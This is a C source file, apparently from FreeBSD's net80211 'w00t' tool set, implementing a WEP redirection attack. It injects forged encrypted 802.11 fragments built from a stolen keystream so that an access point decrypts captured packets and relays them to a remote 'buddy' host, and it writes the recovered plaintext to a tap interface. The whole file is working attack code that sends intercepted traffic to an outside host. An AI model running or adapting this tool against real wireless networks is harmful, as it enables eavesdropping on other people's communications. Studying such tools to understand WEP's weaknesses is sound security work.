1 /*-
2 * Copyright (c) 2006, Andrea Bittau <a.bittau@cs.ucl.ac.uk>
3 * All rights reserved.
4 *
5 * Redistribution and use in source and binary forms, with or without
6 * modification, are permitted provided that the following conditions
7 * are met:
8 * 1. Redistributions of source code must retain the above copyright
9 * notice, this list of conditions and the following disclaimer.
10 * 2. Redistributions in binary form must reproduce the above copyright
11 * notice, this list of conditions and the following disclaimer in the
12 * documentation and/or other materials provided with the distribution.
13 *
14 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
15 * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
16 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
17 * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
18 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
19 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
20 * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
21 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
22 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
23 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
24 * SUCH DAMAGE.
25 *
26 * $FreeBSD: src/tools/tools/net80211/w00t/redir/redir.c,v 1.2 2009/07/24 15:31:22 sam Exp $
27 */
28 #include <sys/time.h>
29 #include <sys/types.h>
30 #include <sys/socket.h>
31 #include <sys/uio.h>
32 #include <netinet/in.h>
33 #include <arpa/inet.h>
34 #include <netinet/in_systm.h>
35 #include <netinet/ip.h>
36 #include <string.h>
37 #include <stdio.h>
38 #include <stdlib.h>
39 #include <unistd.h>
40 #include <fcntl.h>
41 #include <err.h>
42 #include <assert.h>
43 #include <zlib.h>
44 #include "w00t.h"
45
46 enum {
47 S_START = 0,
48 S_WAIT_ACK,
49 S_WAIT_BUDDY
50 };
51
52 struct queue {
53 struct ieee80211_frame *wh;
54 int len;
55 int id;
56
57 char *buf;
58 int live;
59 struct queue *next;
60 };
61
62 struct params {
63 int rx;
64 int tx;
65
66 int s;
67 int port;
68
69 int tap;
70
71 char mac[6];
72 char ap[6];
73 char rtr[6];
74 struct in_addr src;
75 struct in_addr dst;
76
77 char prga[2048];
78 int prga_len;
79 char iv[3];
80 char *fname;
81
82 int state;
83
84 struct queue *q;
85
86 char packet[2048];
87 int packet_len;
88 struct timeval last;
89 int id;
90 int data_try;
91
92 int seq;
93 int frag;
94
95 char buddy_data[2048];
96 int buddy_got;
97 };
98
load_prga(struct params * p)99 void load_prga(struct params *p)
100 {
101 int fd;
102 int rd;
103
104 fd = open(p->fname, O_RDONLY);
105 if (fd == -1) {
106 p->prga_len = 0;
107 return;
108 }
109
110 rd = read(fd, p->iv, 3);
111 if (rd == -1)
112 err(1, "read()");
113 if (rd != 3) {
114 printf("Short read\n");
115 exit(1);
116 }
117
118 rd = read(fd, p->prga, sizeof(p->prga));
119 if (rd == -1)
120 err(1, "read()");
121 p->prga_len = rd;
122
123 printf("Loaded %d PRGA from %s\n", p->prga_len, p->fname);
124 close(fd);
125 }
126
wanted(struct params * p,struct ieee80211_frame * wh,int len)127 int wanted(struct params *p, struct ieee80211_frame *wh, int len)
128 {
129 char *bssid, *sa;
130
131 if (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) {
132 bssid = wh->i_addr1;
133 sa = wh->i_addr2;
134 }
135 else {
136 bssid = wh->i_addr2;
137 sa = wh->i_addr3;
138 }
139
140 if (memcmp(bssid, p->ap, 6) != 0)
141 return 0;
142
143 if (!(wh->i_fc[1] & IEEE80211_FC1_WEP)) {
144 printf("Got non WEP packet...\n");
145 return 0;
146 }
147
148 /* my own shit */
149 if (memcmp(p->mac, sa, 6) == 0)
150 return 0;
151
152 return 1;
153 }
154
enque(struct params * p,char ** buf,struct ieee80211_frame * wh,int len)155 void enque(struct params *p, char **buf, struct ieee80211_frame *wh, int len)
156 {
157 struct queue *q = p->q;
158 int qlen = 0;
159 char *ret = NULL;
160 struct queue *last = NULL;
161
162 /* find a slot */
163 while (q) {
164 if (q->live)
165 qlen++;
166 else {
167 /* recycle */
168 ret = q->buf;
169 break;
170 }
171
172 last = q;
173 q = q->next;
174 }
175
176 /* need to create slot */
177 if (!q) {
178 q = (struct queue*) malloc(sizeof(*q));
179 if (!q)
180 err(1, "malloc()");
181 memset(q, 0, sizeof(*q));
182
183 /* insert */
184 if (!p->q)
185 p->q = q;
186 else {
187 assert(last);
188 last->next = q;
189 }
190 }
191
192 q->live = 1;
193 q->buf = *buf;
194 q->len = len;
195 q->wh = wh;
196 q->id = p->id++;
197
198 qlen++;
199
200 if (qlen > 5)
201 printf("Enque. Size: %d\n", qlen);
202 *buf = ret;
203 }
204
205 /********** RIPPED
206 ************/
in_cksum(unsigned short * ptr,int nbytes)207 unsigned short in_cksum (unsigned short *ptr, int nbytes) {
208 register long sum;
209 u_short oddbyte;
210 register u_short answer;
211
212 sum = 0;
213 while (nbytes > 1)
214 {
215 sum += *ptr++;
216 nbytes -= 2;
217 }
218
219 if (nbytes == 1)
220 {
221 oddbyte = 0;
222 *((u_char *) & oddbyte) = *(u_char *) ptr;
223 sum += oddbyte;
224 }
225
226 sum = (sum >> 16) + (sum & 0xffff);
227 sum += (sum >> 16);
228 answer = ~sum;
229 return (answer);
230 }
231 /**************
232 ************/
233
send_packet(struct params * p)234 void send_packet(struct params *p)
235 {
236 int rc;
237 struct ieee80211_frame *wh;
238
239 rc = inject(p->tx, p->packet, p->packet_len);
240 if (rc == -1)
241 err(1, "inject()");
242 if (rc != p->packet_len) {
243 printf("Wrote %d/%d\n", rc, p->packet_len);
244 exit(1);
245 }
246
247 p->data_try++;
248 wh = (struct ieee80211_frame*) p->packet;
249 wh->i_fc[1] |= IEEE80211_FC1_RETRY;
250
251 if (gettimeofday(&p->last, NULL) == -1)
252 err(1, "gettimeofday()");
253 }
254
send_header(struct params * p,struct queue * q)255 void send_header(struct params *p, struct queue *q)
256 {
257 struct ieee80211_frame *wh;
258 short *pseq;
259 char *ptr;
260 struct ip *ih;
261 int len, i;
262 uLong crc = crc32(0L, Z_NULL, 0);
263 uLong *pcrc;
264
265 /* 802.11 */
266 memset(p->packet, 0, sizeof(p->packet));
267 wh = (struct ieee80211_frame *) p->packet;
268 wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
269 wh->i_fc[0] |= IEEE80211_FC0_SUBTYPE_DATA;
270 wh->i_fc[1] |= IEEE80211_FC1_DIR_TODS;
271 wh->i_fc[1] |= IEEE80211_FC1_WEP;
272 wh->i_fc[1] |= IEEE80211_FC1_MORE_FRAG;
273
274 wh->i_dur[0] = 0x69;
275
276 memcpy(wh->i_addr1, p->ap, 6);
277 memcpy(wh->i_addr2, p->mac, 6);
278 memcpy(wh->i_addr3, p->rtr, 6);
279
280 pseq = (short*) wh->i_seq;
281 p->frag = 0;
282 p->seq++;
283 *pseq = seqfn(p->seq, p->frag++);
284
285 /* IV */
286 ptr = (char*) (wh+1);
287 memcpy(ptr, p->iv, 3);
288 ptr += 4;
289
290 /* LLC/SNAP */
291 memcpy(ptr, "\xAA\xAA\x03\x00\x00\x00\x08\x00", 8);
292
293 /* IP */
294 ih = (struct ip*) (ptr+8);
295 ih->ip_v = 4;
296 ih->ip_hl = 5;
297 len = q->len - sizeof(*wh) - 4 - 4 + 20;
298 ih->ip_len = htons(len);
299 ih->ip_id = htons(q->id);
300 ih->ip_ttl = 69;
301 ih->ip_p = 0;
302 ih->ip_src.s_addr = p->src.s_addr;
303 ih->ip_dst.s_addr = p->dst.s_addr;
304 ih->ip_sum = in_cksum((unsigned short*)ih, 20);
305
306 /* ICV */
307 len = 8 + 20;
308 crc = crc32(crc, ptr, len);
309 pcrc = (uLong*) (ptr+len);
310 *pcrc = crc;
311
312 /* wepify */
313 for (i = 0; i < len + 4; i++)
314 ptr[i] ^= p->prga[i];
315
316 p->packet_len = sizeof(*wh) + 4 + len + 4;
317 p->data_try = 0;
318 send_packet(p);
319 }
320
send_queue(struct params * p)321 void send_queue(struct params *p)
322 {
323 struct queue *q = p->q;
324
325 assert(q);
326 assert(q->live);
327
328 send_header(p, q);
329 p->state = S_WAIT_ACK;
330 }
331
send_data(struct params * p)332 void send_data(struct params *p)
333 {
334 struct ieee80211_frame *wh;
335 short *seq;
336 struct queue *q = p->q;
337 char *dst, *src;
338 int len;
339
340 assert(q);
341
342 /* 802.11 */
343 memset(p->packet, 0, sizeof(p->packet));
344 wh = (struct ieee80211_frame*) p->packet;
345 wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
346 wh->i_fc[0] |= IEEE80211_FC0_SUBTYPE_DATA;
347 wh->i_fc[1] |= IEEE80211_FC1_DIR_TODS;
348 wh->i_fc[1] |= IEEE80211_FC1_WEP;
349
350 wh->i_dur[0] = 0x69;
351
352 memcpy(wh->i_addr1, p->ap, 6);
353 memcpy(wh->i_addr2, p->mac, 6);
354 memcpy(wh->i_addr3, p->rtr, 6);
355
356 seq = (short*) wh->i_seq;
357 *seq = seqfn(p->seq, p->frag++);
358
359 /* data */
360 dst = (char*) (wh+1);
361 src = (char*) (q->wh+1);
362 len = q->len - sizeof(*wh);
363 memcpy(dst, src, len);
364
365 p->packet_len = sizeof(*wh) + len;
366 p->data_try = 0;
367 send_packet(p);
368 }
369
got_ack(struct params * p)370 void got_ack(struct params *p)
371 {
372 switch (p->frag) {
373 case 1:
374 send_data(p);
375 break;
376
377 case 2:
378 p->state = S_WAIT_BUDDY;
379 p->data_try = 69;
380 break;
381 }
382 }
383
read_wifi(struct params * p)384 void read_wifi(struct params *p)
385 {
386 static char *buf = NULL;
387 static int buflen = 4096;
388 struct ieee80211_frame *wh;
389 int rc;
390
391 if (!buf) {
392 buf = (char*) malloc(buflen);
393 if (!buf)
394 err(1, "malloc()");
395 }
396
397 rc = sniff(p->rx, buf, buflen);
398 if (rc == -1)
399 err(1, "sniff()");
400
401 wh = get_wifi(buf, &rc);
402 if (!wh)
403 return;
404
405 /* acks */
406 if (frame_type(wh, IEEE80211_FC0_TYPE_CTL, IEEE80211_FC0_SUBTYPE_ACK) &&
407 (memcmp(p->mac, wh->i_addr1, 6) == 0)) {
408 got_ack(p);
409 return;
410 }
411
412 /* data */
413 if (frame_type(wh, IEEE80211_FC0_TYPE_DATA,
414 IEEE80211_FC0_SUBTYPE_DATA)) {
415 if (!wanted(p, wh, rc))
416 return;
417
418 enque(p, &buf, wh, rc);
419 if (p->state == S_START)
420 send_queue(p);
421 return;
422 }
423 }
424
connect_buddy(struct params * p)425 int connect_buddy(struct params *p)
426 {
427 struct sockaddr_in s_in;
428
429 memset(&s_in, 0, sizeof(s_in));
430 s_in.sin_family = PF_INET;
431 s_in.sin_port = htons(p->port);
432 s_in.sin_addr.s_addr = p->dst.s_addr;
433
434 if ((p->s = socket(s_in.sin_family, SOCK_STREAM, IPPROTO_TCP)) == -1)
435 return -1;
436
437 if (connect(p->s, (struct sockaddr*) &s_in, sizeof(s_in)) == -1)
438 return -1;
439
440 return 0;
441 }
442
buddy_reset(struct params * p)443 void buddy_reset(struct params *p)
444 {
445 p->buddy_got = 0;
446
447 if (connect_buddy(p) == -1)
448 err(1, "connect_buddy()");
449 }
450
buddy_get(struct params * p,int len)451 int buddy_get(struct params *p, int len)
452 {
453 int rd;
454
455 rd = recv(p->s, &p->buddy_data[p->buddy_got], len, 0);
456 if (rd <= 0) {
457 buddy_reset(p);
458 return 0;
459 }
460
461 p->buddy_got += rd;
462 return rd == len;
463 }
464
read_buddy_head(struct params * p)465 void read_buddy_head(struct params *p)
466 {
467 int rem;
468
469 rem = 4 - p->buddy_got;
470
471 if (!buddy_get(p, rem))
472 return;
473 }
474
read_buddy_data(struct params * p)475 void read_buddy_data(struct params *p)
476 {
477 unsigned short *ptr = (unsigned short*) p->buddy_data;
478 int id, len, rem;
479 struct queue *q = p->q;
480 struct queue *last = p->q;
481 char mac[12];
482 struct iovec iov[2];
483
484 id = ntohs(*ptr++);
485 len = ntohs(*ptr++);
486
487 rem = len + 4 - p->buddy_got;
488
489 assert(rem > 0);
490 if (!buddy_get(p, rem))
491 return;
492
493 /* w00t, got it */
494 #if 0
495 printf("id=%d len=%d\n", id, len);
496 #endif
497 p->buddy_got = 0;
498
499 /* feedback loop bullshit */
500 if (!q)
501 return;
502 if (!q->live)
503 return;
504
505 /* sanity chex */
506 if (q->id != id) {
507 printf("Diff ID\n");
508 return;
509 }
510
511 rem = q->len - sizeof(*q->wh) - 4 - 4;
512 if (rem != len) {
513 printf("Diff len\n");
514 return;
515 }
516
517 /* tap */
518 if (q->wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) {
519 memcpy(mac, q->wh->i_addr3, 6);
520 memcpy(&mac[6], q->wh->i_addr2, 6);
521 } else {
522 memcpy(mac, q->wh->i_addr1, 6);
523 memcpy(&mac[6], q->wh->i_addr3, 6);
524 }
525 iov[0].iov_base = mac;
526 iov[0].iov_len = sizeof(mac);
527 iov[1].iov_base = (char*)ptr + 8 - 2;
528 iov[1].iov_len = len - 8 + 2;
529
530 rem = writev(p->tap, iov, sizeof(iov)/sizeof(struct iovec));
531 if (rem == -1)
532 err(1, "writev()");
533 if (rem != (14+(len-8))) {
534 printf("Short write %d\n", rem);
535 exit(1);
536 }
537
538 /* deque */
539 q->live = 0;
540 if (q->next) {
541
542 p->q = q->next;
543
544 while (last) {
545 if (!last->next) {
546 last->next = q;
547 q->next = NULL;
548 break;
549 }
550 last = last->next;
551 }
552 }
553
554 /* drain queue */
555 p->state = S_START;
556 if (p->q->live)
557 send_queue(p);
558 }
559
read_buddy(struct params * p)560 void read_buddy(struct params *p)
561 {
562 if (p->buddy_got < 4)
563 read_buddy_head(p);
564 else
565 read_buddy_data(p);
566 }
567
own(struct params * p)568 void own(struct params *p)
569 {
570 struct timeval tv;
571 struct timeval *to = NULL;
572 fd_set fds;
573 int max;
574 int tout_ack = 10*1000;
575 int tout_buddy = 2*1000*1000;
576 int tout = (p->state == S_WAIT_BUDDY) ? tout_buddy : tout_ack;
577
578 if (p->state == S_WAIT_ACK || p->state == S_WAIT_BUDDY) {
579 int el;
580
581 /* check timeout */
582 if (gettimeofday(&tv, NULL) == -1)
583 err(1, "gettimeofday()");
584
585 el = elapsed(&p->last, &tv);
586
587 /* timeout */
588 if (el >= tout) {
589 if (p->data_try > 3) {
590 p->state = S_START;
591 return;
592 } else {
593 send_packet(p);
594 el = 0;
595 }
596 }
597 el = tout - el;
598 tv.tv_sec = el/1000/1000;
599 tv.tv_usec = el - tv.tv_sec*1000*1000;
600 to = &tv;
601 }
602
603 FD_ZERO(&fds);
604 FD_SET(p->rx, &fds);
605 FD_SET(p->s, &fds);
606 max = (p->rx > p->s) ? p->rx : p->s;
607
608 if (select(max+1, &fds, NULL, NULL, to) == -1)
609 err(1, "select()");
610
611 if (FD_ISSET(p->rx, &fds))
612 read_wifi(p);
613 if (FD_ISSET(p->s, &fds))
614 read_buddy(p);
615 }
616
usage(char * name)617 void usage(char *name)
618 {
619 printf("Usage %s <opts>\n"
620 "-h\thelp\n"
621 "-d\t<buddy ip>\n"
622 "-p\t<port>\n"
623 "-b\t<bssid>\n"
624 "-t\t<tap>\n"
625 "-r\t<rtr>\n"
626 "-s\t<source ip>\n"
627 , name);
628 exit(1);
629 }
630
main(int argc,char * argv[])631 int main(int argc, char *argv[])
632 {
633 struct params p;
634 char *iface = "wlan0";
635 char *tap = "tap0";
636 int ch;
637
638 memset(&p, 0, sizeof(p));
639 memcpy(p.mac, "\x00\x00\xde\xfa\xce\xd", 6);
640 p.fname = "prga.log";
641 p.seq = getpid();
642
643 while ((ch = getopt(argc, argv, "hd:p:b:t:r:s:")) != -1) {
644 switch (ch) {
645 case 's':
646 if (!inet_aton(optarg, &p.src)) {
647 printf("Can't parse src IP\n");
648 exit(1);
649 }
650 break;
651
652 case 'r':
653 if (str2mac(p.rtr, optarg) == -1) {
654 printf("Can't parse rtr MAC\n");
655 exit(1);
656 }
657 break;
658
659 case 't':
660 tap = optarg;
661 break;
662
663 case 'b':
664 if (str2mac(p.ap, optarg) == -1) {
665 printf("Can't parse BSSID\n");
666 exit(1);
667 }
668 break;
669
670 case 'd':
671 if (!inet_aton(optarg, &p.dst)) {
672 printf("Can't parse IP\n");
673 exit(1);
674 }
675 break;
676
677 case 'p':
678 p.port = atoi(optarg);
679 break;
680
681 case 'h':
682 default:
683 usage(argv[0]);
684 break;
685 }
686 }
687
688 load_prga(&p);
689 assert(p.prga_len > 60);
690
691 if ((p.rx = open_rx(iface)) == -1)
692 err(1, "open_rx()");
693 if ((p.tx = open_tx(iface)) == -1)
694 err(1, "open_tx()");
695
696 if ((p.tap = open_tap(tap)) == -1)
697 err(1, "open_tap()");
698 if (set_iface_mac(tap, p.mac) == -1)
699 err(1, "set_iface_mac()");
700
701 if (connect_buddy(&p) == -1)
702 err(1, "connect_buddy()");
703
704 p.state = S_START;
705 while (1)
706 own(&p);
707
708 exit(0);
709 }
710